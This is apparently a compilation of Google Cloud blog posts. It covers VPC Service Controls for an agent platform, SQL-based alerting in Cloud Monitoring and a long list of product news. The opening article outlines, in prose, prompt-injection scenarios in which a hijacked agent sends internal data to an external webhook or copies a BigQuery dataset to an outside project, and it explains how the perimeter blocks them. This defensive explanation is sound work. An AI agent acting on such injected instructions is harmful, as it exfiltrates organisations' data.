Securing the Gemini Enterprise Agent Platform: The Gemini Enterprise Agent Platform provides a comprehensive foundation for production-grade agent deployments. VPC Service Controls is now natively integrated with Agent Platform. When you include Agent Platform as a protected service within a VPC-SC perimeter, the system automatically blocks all public internet access to the Agent Platform instance — enforcing a secure boundary without additional configuration overhead.

Defining a layered approach to enterprise AI security with VPC-SC

Securing an autonomous agent requires a layered approach. Identity, network, and resource controls each target a distinct threat vector.

Identity controls: IAM and Principal Access Boundaries (PAB) focus on "who" can access specific resources. By enforcing strict least-privilege principles for agent identities, you help ensure that autonomous workloads only have the permissions necessary for their specific objectives.
Network controls: Next-generation network firewalls and VPC Service Controls define a robust data perimeter on top of your infrastructure, governing the flow of information across boundaries and preventing data exfiltration.
Resource controls: Organization Policy and other resource-level guardrails set broad, immutable constraints on how resources can be configured and used, preventing risky configurations by default.

Defending against the unique attack vectors

Exfiltration prevention via indirect prompt injection (OWASP ASI01): A malicious actor could attempt to embed a hidden prompt asking an agent to summarize internal data and transmit it to an unauthorized user. If the hijacked agent has IAM permissions, IAM detects no anomaly.

However, when the agent tries to send that data to an external webhook, VPC-SC blocks the API-layer transfer because the destination is outside the defined perimeter.

Guardrail for tool misuse (OWASP ASI02, ASI08): Prompt hijacks can lead agents to chain tools maliciously, such as sending internal directory data to an external service. By enforcing a VPC-SC perimeter around sensitive assets, you prevent misbehaving agents from bridging data across isolated trust zones.
Neutralizing insider threats (OWASP AS103): Attackers can command a data-processing agent to perform a direct cloud-to-cloud copy from a BigQuery dataset to an unauthorized project. While network firewalls see legitimate HTTPS traffic to BigQuery, and IAM sees an authorized service account, VPC-SC evaluates the destination resource. Since the destination project is outside the enterprise perimeter, the system immediately denies the API request.

VPC Service Controls acts as a perimeter to block data exfiltration attempts from a compromised agent, even if the agent has valid IAM credentials.

Data protection for the autonomous agent world

To learn more, you can explore VPC-SC resources here.

From query to action: Introducing SQL alerting in Cloud Monitoring Observability Analytics

2026-06-26T16:30:00+00:00

Traditional alerting systems often force a compromise: you can either alert immediately on simple, noisy log events, or monitor rigid, pre-configured metrics that fail when faced with data with many unique answers like user sessions or IP addresses. But the most critical system issues — like a 20% spike in error rates for a specific customer or a latency anomaly correlated with database timeouts — are hidden in the aggregates and relationships between these signals.

Recently, we announced that you can now use SQL to query logs and traces in Observability Analytics (formerly Log Analytics). But the story gets better. You can also use SQL to create alerts in Observability Analytics. By bringing SQL directly to your alerting engine, you can write complex analytical queries over logs and traces and turn them into alerts. Whether you need to calculate error percentages, analyze high-cardinality dimensions, or JOIN logs and traces, SQL alerting helps you go from basic threshold monitoring to deep, contextual detection that goes beyond the capabilities of traditional alerting systems. SQL alerting is now in preview.

How SQL-based alerting works

SQL alerting in Observability Analytics is available as part of Cloud Monitoring. An alerting policy runs your SQL query on a schedule you define (for example, every 10 minutes). It automatically applies a "lookback window" to your query, so it only analyzes the log entries or trace spans it received since the last time it ran.

If the results of your query meet the condition you set, Cloud Monitoring creates an incident and sends a notification to your chosen channels, like email, Slack, or PagerDuty.

Please note that because SQL-based alerting uses BigQuery to process telemetry data, query executions are billed through BigQuery under your standard on-demand pricing or BigQuery reservations.

Two ways to trigger an alert

You can choose between two types of alert conditions.

Row count threshold: This is the simplest option. The alert fires if your query returns a number of rows that is greater than, equal to, or less than a threshold you set. This is perfect for "alert me if more than 10 users have failed logins" scenarios.
Boolean: This is the most powerful option. The alert fires if your query returns any row where a specific column you define has a value of true. This lets you build complex logic, like calculating percentages, directly in your SQL query.

Example 1: Alerting on payment gateway failures (row count)

Scenario: Imagine that you’re an e-commerce operator, and you want to be alerted immediately if your payment gateway is experiencing systemic outages, while ignoring occasional, normal card declines (like an incorrect PIN).

To do this, you can write a query to filter for log entries indicating gateway timeouts, and use a row count threshold to trigger the alert only if the volume of these errors spikes.

code_block: <ListValue: [StructValue([('code', "SELECT\r\n JSON_VALUE(json_payload.transaction_id) AS transaction_id,\r\n JSON_VALUE(json_payload.error_code) AS error_code\r\nFROM\r\n `my-project-id.my-dataset.my-log-view`\r\nWHERE\r\n JSON_VALUE(json_payload.status) = 'FAILED'\r\n -- Filter for systemic gateway issues, not user-input errors like WRONG_PIN\r\n AND JSON_VALUE(json_payload.failure_reason) = 'GATEWAY_TIMEOUT'"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f8582712160>)])]>

Alert configuration:

Condition type: Row count threshold
Trigger condition: Fired when row counts greater than (>) 10
Evaluation window / lookback: 5 minutes (checks the last 5 minutes of data on your defined schedule)

Example 2: Alerting on agent latency (traces)

Scenario: You’re an AI platform engineer, and you want to ensure your multi-step AI agents are responding within acceptable time limits. You want to monitor the 99th percentile (p99) latency of the orchestrator service and get alerted if performance degrades.

To do this, you can write a SQL query against your trace data that calculates the p99 latency for all services and returns true if your agent-orchestrator exceeds 5 seconds (5000 milliseconds).

code_block: <ListValue: [StructValue([('code', 'WITH latency_data AS (\r\n SELECT\r\n APPROX_QUANTILES(duration_nano, 100)[OFFSET(99)] / 1000000 AS p99_ms\r\n FROM\r\n `my-project-id.us._Trace.Spans._AllSpans`\r\n WHERE\r\n -- Examine rows produced by the agent-orchestrator\r\n JSON_VALUE(resource.attributes, \'$."service.name"\') = \'agent-orchestrator\'\r\n GROUP BY\r\n service_name\r\n)\r\nSELECT\r\n "agent-orchestrator" AS service_name,\r\n p99_ms,\r\n -- Boolean logic: Alert if p99 exceeds 5000ms\r\n (p99_ms > 5000) AS has_latency_spike\r\nFROM\r\n latency_data'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f85827126a0>)])]>

Alert configuration:

Condition type: Boolean
Target column: has_latency_spike
Trigger condition: Fired when the query returns any row where this column evaluates to true.
Evaluation window / lookback: 10 minutes (or your preferred scheduling interval)

Before you begin

Before you can create a SQL-based alert, you need to set up a few things:

Analytics enabled:

For logs: Upgrade your log bucket to use Observability Analytics (if not already updated).
For traces: Cloud Trace must be collected and stored in your project.

Linked BigQuery dataset: Create a linked BigQuery dataset for the telemetry source (either the log bucket or the trace dataset). SQL-based alerts query the data through this BigQuery link.
IAM permissions:

Grant the IAM roles necessary to create an SQL-based alert policy: Monitoring AlertPolicy Editor and Logging SqlAlert Writer (applies to both log and trace alerts).

Notification channels: Configure the notification channels (like email or Slack) where you want to receive alerts.

How to create your alert

Creating a sql-based alert policy is straightforward:

Navigate to Observability Analytics in the Google Cloud console.
Compose and validate your SQL query.
Select the Run on BigQuery query engine in the UI.
Click the Create alert button from the results toolbar.
Define your condition (row count or boolean) and your evaluation schedule.
Add your notification channels, give your alert a clear name, and click Save.

For Infrastructure as Code (IaC) pipelines, you can also configure alerts via the API and Terraform.

Get started

Ready to build more powerful, insightful alerts? Open the Observability Analytics page in the console and try writing your first SQL query today. You can find more details and advanced examples in the official documentation.

From query to action: Introducing SQL alerting in Cloud Monitoring Observability Analytics

2026-06-26T16:30:00+00:00

How SQL-based alerting works

If the results of your query meet the condition you set, Cloud Monitoring creates an incident and sends a notification to your chosen channels, like email, Slack, or PagerDuty.

Please note that because SQL-based alerting uses BigQuery to process telemetry data, query executions are billed through BigQuery under your standard on-demand pricing or BigQuery reservations.

Two ways to trigger an alert

You can choose between two types of alert conditions.

Row count threshold: This is the simplest option. The alert fires if your query returns a number of rows that is greater than, equal to, or less than a threshold you set. This is perfect for "alert me if more than 10 users have failed logins" scenarios.
Boolean: This is the most powerful option. The alert fires if your query returns any row where a specific column you define has a value of true. This lets you build complex logic, like calculating percentages, directly in your SQL query.

Example 1: Alerting on payment gateway failures (row count)

To do this, you can write a query to filter for log entries indicating gateway timeouts, and use a row count threshold to trigger the alert only if the volume of these errors spikes.

code_block: <ListValue: [StructValue([('code', "SELECT\r\n JSON_VALUE(json_payload.transaction_id) AS transaction_id,\r\n JSON_VALUE(json_payload.error_code) AS error_code\r\nFROM\r\n `my-project-id.my-dataset.my-log-view`\r\nWHERE\r\n JSON_VALUE(json_payload.status) = 'FAILED'\r\n -- Filter for systemic gateway issues, not user-input errors like WRONG_PIN\r\n AND JSON_VALUE(json_payload.failure_reason) = 'GATEWAY_TIMEOUT'"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f36edc4f490>)])]>

Alert configuration:

Condition type: Row count threshold
Trigger condition: Fired when row counts greater than (>) 10
Evaluation window / lookback: 5 minutes (checks the last 5 minutes of data on your defined schedule)

Example 2: Alerting on agent latency (traces)

To do this, you can write a SQL query against your trace data that calculates the p99 latency for all services and returns true if your agent-orchestrator exceeds 5 seconds (5000 milliseconds).

code_block: <ListValue: [StructValue([('code', 'WITH latency_data AS (\r\n SELECT\r\n APPROX_QUANTILES(duration_nano, 100)[OFFSET(99)] / 1000000 AS p99_ms\r\n FROM\r\n `my-project-id.us._Trace.Spans._AllSpans`\r\n WHERE\r\n -- Examine rows produced by the agent-orchestrator\r\n JSON_VALUE(resource.attributes, \'$."service.name"\') = \'agent-orchestrator\'\r\n GROUP BY\r\n service_name\r\n)\r\nSELECT\r\n "agent-orchestrator" AS service_name,\r\n p99_ms,\r\n -- Boolean logic: Alert if p99 exceeds 5000ms\r\n (p99_ms > 5000) AS has_latency_spike\r\nFROM\r\n latency_data'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f36edc4ff70>)])]>

Alert configuration:

Condition type: Boolean
Target column: has_latency_spike
Trigger condition: Fired when the query returns any row where this column evaluates to true.
Evaluation window / lookback: 10 minutes (or your preferred scheduling interval)

Before you begin

Before you can create a SQL-based alert, you need to set up a few things:

Analytics enabled:

For logs: Upgrade your log bucket to use Observability Analytics (if not already updated).
For traces: Cloud Trace must be collected and stored in your project.

Linked BigQuery dataset: Create a linked BigQuery dataset for the telemetry source (either the log bucket or the trace dataset). SQL-based alerts query the data through this BigQuery link.
IAM permissions:

Grant the IAM roles necessary to create an SQL-based alert policy: Monitoring AlertPolicy Editor and Logging SqlAlert Writer (applies to both log and trace alerts).

Notification channels: Configure the notification channels (like email or Slack) where you want to receive alerts.

How to create your alert

Creating a sql-based alert policy is straightforward:

Navigate to Observability Analytics in the Google Cloud console.
Compose and validate your SQL query.
Select the Run on BigQuery query engine in the UI.
Click the Create alert button from the results toolbar.
Define your condition (row count or boolean) and your evaluation schedule.
Add your notification channels, give your alert a clear name, and click Save.

For Infrastructure as Code (IaC) pipelines, you can also configure alerts via the API and Terraform.

Get started

What’s new with Google Cloud

2026-06-26T16:00:00+00:00

Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more.

Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud blog 101: Full list of topics, links, and resources.

aside_block: <ListValue: []>

Jun 22 - Jun 26

Accelerate TPU model loading while saving RAM on GKE.
Large model cold starts often stall scaling and leave high-value TPUs idle. The open-source Run:ai Model Streamer now natively supports TPUs with Google Cloud Storage in TPU vLLM 0.18.0. This integration accelerates inference pipelines on GKE by streaming tensors directly into CPU memory, bypassing local disk bottlenecks and the "double-buffering" trap. In benchmarks, loading a 480B parameter model was over 2x faster while cutting peak host memory usage by half. Read the full guide and get started today.
Stop Training Blind: Scaling AI with the New OpenTelemetry-Based TPU AI Telemetry Collector Agent
Google Cloud’s new AI Telemetry Collector agent standardizes TPU monitoring using OpenTelemetry. It optimizes enterprise ML workloads by identifying silent failures and providing zero-cost operational metrics without draining host CPU cycles. The agent seamlessly routes telemetry to Google Cloud Monitoring or Prometheus and custom Grafana setups. Pre-installed on Google-optimized Ubuntu images or available via Docker, it tracks memory, network latency, and core utilization to maximize multi-node training efficiency.

You can read more of this capability by clicking this link.

Jun 15 - Jun 19

Join us for a deep dive into agentic AI control with AppyThings
Your integrations aren’t failing—they are evolving. When users interact with AI agents, they no longer arrive directly at your site, resulting in experiences stripped of your context, expertise, and intended experience. Join us on Thursday, June 25, for a community tech talk in partnership with AppyThings to learn how to solve this new gateway challenge. We will explore how MTN laid an integration foundation with the Model Context Protocol (MCP) to deliver accurate, consistent experiences. Our technical experts will demonstrate how to leverage Apigee as a centralized tools management solution to govern agent access.

Register for the session
Optimize Spot VM Deployments with Capacity Advisor for Spot, Now in Public Preview
Google Compute Engine has launched Capacity Advisor for Spot to Public Preview, now open to all customers. This tool turns Spot capacity discovery into a data-driven process by providing real-time deployment recommendations to maximize obtainability and minimize preemption risks. Query the Capacity Advisor API for obtainability and minimum estimated uptimes, or use the new Console UI featuring a global availability map, spot price lookups, and historical preemption rate trends to visually find the most cost-efficient compute capacity.

Get started today to start optimizing your Spot VM deployments!
Build a multi-tenant agentic AI system
When scaling generative AI across different business units, your teams need specialized AI agents with unique operational rules and tools. Our new reference architecture helps you build a centralized multi-tenant platform to prevent fragmented silos, eliminate data exposure risks, and maintain unified compliance. Read the guide to design and deploy a multi-tenant agentic AI system in Google Cloud.
How to Configure Gemini Enterprise to Connect to a Custom MCP Server
The Gemini Enterprise MCP Connector was a big announcement at Google Cloud Next because it introduces the ability to connect Gemini Enterprise to MCP servers. This blog post provides a step-by-step guide on how to configure your first Custom MCP Server connector using the Google Maps Ground Lite MCP server as an example. Once you understand this flow, you can configure multiple MCP servers with Gemini Enterprise to bring all the context you need.

Jun 8 - Jun 12

Simplify Multi-Cloud Planning with Cloud Location Finder, now Generally Available
Cloud Location Finder provides up-to-date data on public regions, zones, and Google Distributed Cloud Connected locations across Google Cloud, AWS, Azure, and OCI. You can now programmatically discover locations based on provider, proximity, territory, and carbon footprint to optimize your global infrastructure strategy for performance, compliance, and sustainability.

Get started for free today

Jun 1 - Jun 5

Modeling the physical world with BigQuery Graph
Managing complex supply chains requires more than just spreadsheets; it requires a digital replica of the physical world. In this post, Guru Rangavittal and Candice Chen explore how BigQuery Graph enables organizations to build a digital twin by turning physical assets into an interconnected map of nodes and edges. By moving beyond traditional relational databases, businesses gain real-time clarity into operations—from executing surgical ingredient recalls to analyzing weather-driven logistics risks. Discover how BigQuery Graph transforms reactive firefighting into proactive, precision modeling, allowing you to see critical connections in seconds and future-proof your supply chain.
Apigee for AI: Govern LLMs and MCP Servers (Presented in Spanish)
Learn how to securely transition your AI initiatives from experimental prototypes to enterprise-ready deployments. Join Luis Cuellar on June 18 for a technical deep dive (presented in Spanish) exploring Apigee’s latest AI gateway capabilities. Discover how to centralize governance over Model Context Protocol (MCP) servers, protect Large Language Models (LLMs) with robust API gateway security policies, and manage token-based quotas.

Register for the June 18 Spanish Community TechTalk

May 25 - May 29

Anthropic’s Claude Opus 4.8 is now available on Gemini Enterprise Agent Platform. As we continue to expand our platform's model offerings, this addition gives organizations more options for handling complex, multi-stage enterprise workflows. Claude Opus 4.8 brings strong capabilities in agentic coding, allowing developers to manage extensive refactors and tracking dependencies over extended sessions.
API Horizon Munich July 6, 2026: Orchestrating the Next Era of AI and APIs
Master the orchestration of next-gen AI and digital ecosystems. Join Google Cloud experts and DACH tech leaders on July 6 for an exclusive look at the Apigee roadmap, Agent Management, and Model Context Protocol (MCP). Gain real-world insights and connect with the regional integration community.

Register now
Securing AI Agents: The Extended Agent Gateway Pattern
Learn how to prevent autonomous AI agents from invoking unauthorized APIs. Join Apigee Specialist Joel Gauci on June 4 for a technical deep dive into the Extended Agent Gateway pattern. This session covers enforcing Fine-Grained Authorization (FGA), implementing secure token exchange, and establishing Model Context Protocol (MCP) governance at the API gateway layer to protect enterprise backend services.

Register for the June 4 Community TechTalk
API-to-Agent Security: Exposing REST APIs to Gemini Enterprise via MCP
Connect Gemini Enterprise agents to core data without creating security hazards. Join Google Cloud Specialist Nigel Walters on June 11 to learn how to instantly transform legacy REST APIs into secure Model Context Protocol (MCP) servers. We’ll cover how to safely register tools with Gemini while enforcing gateway-level guardrails like rate limiting and access control policies.

Register for the June 11 Community TechTalk

May 18 - May 22

Chinese Webinar | June 4: AI Command and Control
As AI agents move from experimental pilots to core enterprise functions, governance has become a critical next step. Join Google Cloud on June 4th at 10:00 AM (Beijing Time) to learn how to build a secure AI management layer architecture. We'll explore how to develop governed MCP (Model Context Protocol) endpoints, manage tool access to enterprise data, and leverage robust audit logs to operationalize AI. This session also includes a practical demonstration of these governance frameworks on Google Cloud.

Register here
GCP Announces New Features to Benchmark and Optimize LLMs for On-Device Use Cases
Deploying fine-tuned LLMs from GCP to edge devices like smartphones is complex due to fragmented hardware. Google AI Edge Portal bridges this gap, giving GCP developers the ability to test AI performance on 120+ Android devices, representing the full diversity of high, medium, and low tier smartphones on the market today. This week at I/O, we announced brand new capabilities to benchmark and debug LLM performance across these devices. Sign-up to utilize these new features in private preview today.

May 11 - May 15

Build Your AI & MCP Control Tower for Universal Governance
Master the future of agentic security with Apigee. Join our Community TechTalk on May 21 to discover how Apigee serves as a central "Control Tower" for the Model Context Protocol (MCP). We will explore how new JSON-RPC tool authorization enables fine-grained access policies across your organization, ensuring secure and scalable AI deployments. Whether managing internal tools or external users, learn to govern your agentic ecosystem with absolute precision. This session is designed for global coverage across EMEA and AMER regions.

Register for the May 21 Community TechTalk

Apr 27 - May 1

Master Your Launch: The Apigee Production Go-Live Checklist
Ensure a secure launch with the Apigee production guide. Join Nicola Cardace on May 28 to explore security guardrails, including IAM roles, mTLS configurations, and encrypted KVM migrations. Scheduled at 11 AM EDT / 5 PM CEST to support EMEA and AMER teams, this TechTalk provides the technical roadmap you need to flip the switch with absolute confidence.

Register for the May 28 Community TechTalk
Transforming APIs into Governed Agentic Tools on the Google Cloud Agentic Platform
Turn your APIs into secure, governed agentic tools on the Google Cloud Agentic Platform. Join Specialist Christophe Lalevée on May 7 for a technical deep dive into AI productization. Scheduled at 5 PM CEST / 11 AM EDT to maximize coverage for developers across EMEA and AMER, this session explores the integration and governance frameworks required to scale enterprise-ready AI with confidence.

Register for the May 7 Community TechTalk
Fractional G4 VMs are Generaly Available, providing a highly efficient and cost-effective entry point for AI and graphics workloads. These new configurations, using NVIDIA virtual GPU (vGPU) technology, allow you to leverage the power of the NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs in flexible, smaller increments, so you can right-size your infrastructure to match the specific demands of your applications. By providing more granular access to advanced hardware, fractional G4 VMs let you optimize resource allocation and reduce overhead without sacrificing performance. You can now select from additional GPU slice sizes for your specific needs:
- 1/2 GPU: Ideal for more intensive tasks such as LLM inference, robotics sensor simulation, and high-fidelity 3D rendering.
- 1/4 GPU: Optimized for mainstream workloads, including mid-range creative design, video transcoding, and real-time data visualization.
- 1/8 GPU: Great for lightweight applications such as remote desktops, productivity tools, and entry-level streaming services.
Transitioning AI from a sandbox prototype to an enterprise-grade system is a major hurdle. A monolithic script won't suffice for widespread deployment. To achieve true scale and reliability with Gemini, organizations must adopt service-oriented micro-agent architectures, establish Zero-Trust security, and implement rigorous EvalOps. Master the "Agentic Maturity Ladder" to ensure your AI & Agentic solutions are robust, secure, and ready for the real world.

Watch the deep dive and read the developer blog to learn more.
ML Development in VS Code with Google Cloud Power: Workbench Extension Now Available
Data scientists and developers can now combine the local productivity of VS Code with the scalable infrastructure of Google Cloud. The new Google Cloud Workbench Notebooks extension allows you to connect to and run notebooks on managed cloud environments directly within your local IDE. This integration streamlines the ML lifecycle by eliminating context switching and providing high-performance compute for complex workloads in a familiar interface. As part of our commitment to the developer ecosystem, the extension is fully open-sourced to support community-driven innovation.
- Install from Marketplace: GoogleCloudTools.workbench-notebooks
- Contribute on GitHub: colab-enterprise-vscode

Apr 20 - Apr 24

Announcing the 2026 Google Cloud Partners of the Year
Google Cloud is honored to celebrate the winners of the 2026 Partner of the Year awards! These awards recognize an exceptional group of partners across AI, Security, Infrastructure, and more, who have demonstrated a commitment to customer success. From global system integrators to specialized startups, these winners are leveraging the power of Google Cloud to solve complex challenges and drive digital transformation worldwide. Join us in congratulating these organizations for their innovation, collaboration, and impactful results over the past year.

See the 2026 Partner Award winners

Apr 13 - Apr 17

We're excited to announce the Public Preview of Datastream’s metadata integration with Knowledge Catalog. This is the first step in our vision to provide a centralized, "single pane of glass" for all Datastream assets. The enhancement automatically synchronizes Streams, Connection Profiles, and Private Connections, eliminating data silos. It enhances discoverability, allowing you to search for Datastream assets using the same interface as BigQuery tables. Centralized governance is also provided, making your real-time data estate more transparent and easier to manage.
Upgrading Apigee OPDK to 4.53 with OS Modernization
Modernize your infrastructure using Google’s official, sequential upgrade path. Our Technical expert, Rakesh Talanki outlines how to upgrade Apigee OPDK to v4.53 while migrating to a supported OS (RHEL 8.x/9.x). This guide covers the "build-out" methodology, including multi-data center syncing, to ensure a stable, zero-downtime transition

Read the guide
Cloud Run Worker Pools and CREMA: Powering Serverless AI at Scale
Google Cloud has announced the General Availability of Cloud Run worker pools, a new resource type designed specifically for pull-based, non-HTTP workloads. Unlike traditional Cloud Run services that scale based on request traffic, worker pools provide an "always-on" environment for background tasks like processing message queues or running large-scale AI inference. To support this, Google Cloud also open-sourced the Cloud Run External Metrics Autoscaler (CREMA). Built on KEDA, CREMA enables queue-aware autoscaling for worker pools, allowing them to dynamically scale based on external signals like Pub/Sub backlog or Kafka lag.
Apigee Model Context Protocol (MCP) now Generally Available
Expose enterprise APIs as MCP tools for agentic AI applications with the General Availability of MCP in Apigee. This update allows developers to transform APIs into AI-ready tools using OpenAPI Specifications, removing the need for local MCP servers or additional infrastructure. With managed endpoints and semantic search in API hub, you can now provide AI agents with secure, governed access to enterprise data at scale.

Explore the MCP overview

Apr 6 - Apr 10

Community TechTalk: Powering Retail Agents with ADK, UCP & Apigee X
Move beyond basic chatbots to secure, transactional AI experiences. Join our Community TechTalk on April 16 to learn how Apigee X and Gemini build a "Trust Layer" for AI shopping assistants using UCP standards. We’ll demonstrate how to block prompt injections with Model Armor and implement cost governance via token limits to secure the path from discovery to purchase.

Register for the TechTalk
Implement multimodal capabilities in your AI agents
Explore three new reference architectures for building sophisticated multi-agent AI systems that can process and analyze multimodal data. To analyze disparate multimodal data and produce a high-confidence classification, see Classify multimodal data. To create a fluid conversational AI that processes audio and video streams in real time, see Enable live bidirectional multimodal streaming. To consolidate fragmented multimodal data into a searchable knowledge graph, see Multimodal GraphRAG resource orchestration.
Automate SecOps workflows with an agentic AI system
To accelerate incident response and reduce manual toil for your security team, you need a system that can automate remediation playbooks. Our new reference architecture helps you build an AI agent that orchestrates complex triage and investigation workflows across disparate security tools, such as SIEM, CSPM, and EDR, from a single interface. See the full guide to orchestrate security operations workflows.

Mar 30 - Apr 3

ASEAN Webinar | April 30: Mastering Agentic Governance at Scale with GCP
As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud experts Shilpi Puri & Wely Lau for a webinar on April 30th at 11:00 AM SGT to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.

RSVP here.

Mar 23 - Mar 27

Turn your API sprawl into an agent-ready catalog
As organizations scale, APIs often become scattered across multiple gateways, creating "blind spots" that hinder AI adoption. To solve this, we’ve introduced two new capabilities for Apigee API hub: a new integration with API Gateway to automatically centralize API metadata into a single control plane, and a specification boost add-on (now in public preview). This add-on uses AI to enhance your API documentation with the precise examples and error codes that AI agents need to function reliably.

Read the full blog post to get started.
Webinar | April 16: AI Command & Control
As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud expert Satyam Maloo for a webinar on April 16th at 11:00 AM IST to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.

RSVP here.
Modernizing and Decoupling Event Ingestion with Apigee
In modern cloud-native architectures, decoupling producers from consumers is critical for building resilient systems. While Google Cloud Pub/Sub provides a scalable backbone, exposing it directly to external clients can introduce security and management overhead. This new guide explores how to leverage Apigee as an intelligent HTTP ingestion point. Learn how to handle security, mediation, and traffic control before messages reach your internal bus using the PublishMessage policy or Pub/Sub API.

Read the full guide.

Mar 16 - Mar 20

Gemini-powered Assistant in BigQuery Studio Gets Context-Aware Upgrades
The Gemini-powered assistant in BigQuery Studio has been transformed into a fully context-aware analytics partner, supporting your entire data lifecycle. The new capabilities include intelligent resource discovery, which uses Dataplex Universal Catalog search to find resources across projects and deep dive into metadata using natural language. You can now automate tasks, such as scheduling production-grade queries directly through the chat interface, and instantly troubleshoot long-running or failed jobs with root cause analysis and cost control auditing.

Explore the full range of what the assistant can do.

Mar 9 - Mar 13

Want to use Gemini to develop code and don't know where to start?
This article includes a couple of examples of developing code with Gemini prompts; it identified changes that were needed to be made to get the code working. The article also refers to other examples that are available on github.

Mar 2 - Mar 6

Introducing Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model. Built for high-volume developer workloads at scale, 3.1 Flash-Lite delivers high quality for its price and model tier. Gemini 3.1 Flash-Lite can tackle tasks at scale, like high-volume translation and content moderation, where cost is a priority. And it can also handle more complex workloads where more in-depth reasoning is needed, like generating user interfaces and dashboards, creating simulations or following instructions.

Starting today, 3.1 Flash-Lite is rolling out in preview to enterprises via Vertex AI and developers via the Gemini API in Google AI Studio.
TechTalk: Implementing Device Authorization Grant (RFC 8628) for Apigee
Learn how to authorize "headless" devices like Smart TVs or AI agents that lack keyboards and browsers. Join our Community TechTalk on March 19 (5PM CET / 12PM EDT) to go under the hood of Apigee X/Hybrid. We’ll cover the real-world mechanics of state management, polling, and human-in-the-loop security patterns for devices and autonomous agents.

Register for the TechTalk

Feb 23 - Feb 27

Pro-level image generation gets faster and more accessible with Nano Banana 2
Nano Banana 2 is our state-of-the-art image generation and editing model. It delivers Pro-level image generation and editing at the speed you expect from Flash — making the quality, reasoning, and world knowledge you loved about Nano Banana Pro more accessible. Learn more about the model here.

The Intelligent Path to Compliance: Transforming Regulatory QC with Google Cloud
Reducing "Refuse to File" (RTF) risks and submission cycle times is critical for life sciences leaders. Google Cloud’s Regulatory Submission Semantic QC Auditor leverages Gemini and RAG architecture to transform Quality Control from a manual burden into an active, intelligent workflow.

By automating semantic cross-referencing, narrative coherence checks, and dynamic guidance-based auditing, this solution ensures rigorous accuracy and auditability. Operating within a secure GxP-ready environment, it empowers teams to detect subtle inconsistencies and generate remediation plans without sacrificing data privacy.

Learn more.
Stop typing, start interacting! The Gemini Live Agent Challenge is here. Build immersive agents that can help you see, hear, and speak using Gemini and Google Cloud. Compete for your share of $80,000+ in prizes and a trip to Google Cloud Next '26!

Submissions are open from February 16, 2026 to March 16, 2026. Learn more and register at geminiliveagentchallenge.devpost.com

Feb 9 - Feb 13

Introducing Gemini 3.1 Pro on Google Cloud.
3.1 Pro is a noticeably smarter, more capable baseline for complex problem-solving. We’re shipping 3.1 Pro at scale, building upon our goal to help you transform your business for the agentic future. Learn more about the model’s capabilities here. Gemini 3.1 Pro is available starting today in preview in Vertex AI and Gemini Enterprise. Developers can access the model in preview via the Gemini API in Google AI Studio, Android Studio, Google Antigravity, and Gemini CLI.
Automate Storage Compatibility with GKE Dynamic Default Storage Classes
Managing storage across mixed-generation VM clusters in GKE just got easier. With the new Dynamic Default Storage Class, Google Kubernetes Engine automatically selects between Persistent Disk (PD) and Hyperdisk based on a node's specific hardware compatibility. This abstraction eliminates the need for complex scheduling rules and manual pairing, ensuring your volumes "just work" regardless of the underlying infrastructure. By defining both variants in a single class, you reduce operational overhead while maintaining peak performance and cost-efficiency across your entire cluster.

Explore automated disk type selection
Community TechTalk: AI-Powered Apigee Development with strofa.io
Join the Apigee community on February 26 for a deep dive into strofa.io. Guest speaker Denis Kalitviansky will demonstrate how this new AI-powered tool automates and orchestrates Apigee development, from local emulators to large-scale hybrid environments. Discover how to scale your API management and streamline team collaboration using the latest in AI-driven automation.

Register now to reserve your spot.

Jan 26 - Jan 30

Simplify API Governance with Native OpenAPI v3 Support
Eliminate integration debt and accelerate deployment velocity with the General Availability of OpenAPI v3 (OASv3) support for API Gateway and Cloud Endpoints. You no longer need to downgrade modern specifications to OASv2. Instead, you can now define API contracts and enforce critical policies—including telemetry, quotas, and security—using native Google-specific extensions directly within your OASv3 files. This update ensures your APIs are secure by design while remaining fully compatible with the modern developer ecosystem and Google Cloud’s AI services.

Get started with OpenAPI v3 on API Gateway and Cloud Endpoints.

Accelerate API Testing with the New Open Source API Tester
Start validating your APIs with API Tester, a simple, YAML-based Test Driven Development (TDD) framework. Designed for the Apigee community, this tool allows you to write human-readable tests, run them instantly via a web client or CLI, and perform deep unit testing on Apigee proxies. With native support for JSONPath assertions and Apigee shared flows, you can verify everything from payload data to internal variables like proxy.basepath without leaving your terminal.

Explore the API Tester guide and start testing your proxies today.
Secure Sensitive Data with Kubernetes Secrets in Apigee hybrid
Enhance security in Apigee hybrid by accessing Kubernetes Secrets directly within your API proxies. This hybrid-exclusive feature keeps sensitive credentials within your cluster boundary and prevents replication to the management plane. It supports strict separation of duties: operators manage secrets via kubectl, while developers reference them as secure flow variables—ideal for high-compliance and GitOps workflows.

Implement Kubernetes Secrets in your hybrid proxies.
See the Console in a Whole New Light: Dark Mode is Now Generally Available in Google Cloud
Elevate your cloud management workflow with Dark Mode, now generally available in the Google Cloud console. We have delivered a modern, cohesive, and accessible experience reimagined for maximum comfort and productivity—especially during extended working hours and low-light environments. Dark Mode can be enabled automatically based on your operating system's preference, or manually through the Settings -> Appearance menu.

Switch to Dark Mode today to enjoy a modern, comfortable, and productive environment!
Apigee X Networking: PSC or VPC Peering?
Deciding how to connect Apigee X? Watch this video to compare Private Service Connect and VPC Peering. We break down northbound and southbound routing, IP consumption, and how to reach targets on-prem or in the cloud. Learn to simplify your architecture and avoid common networking "gotchas" for a smoother deployment.

Watch the video.

Jan 19 - Jan 23

Bridge the Gap: Excel-to-API Conversion in Apigee Portals
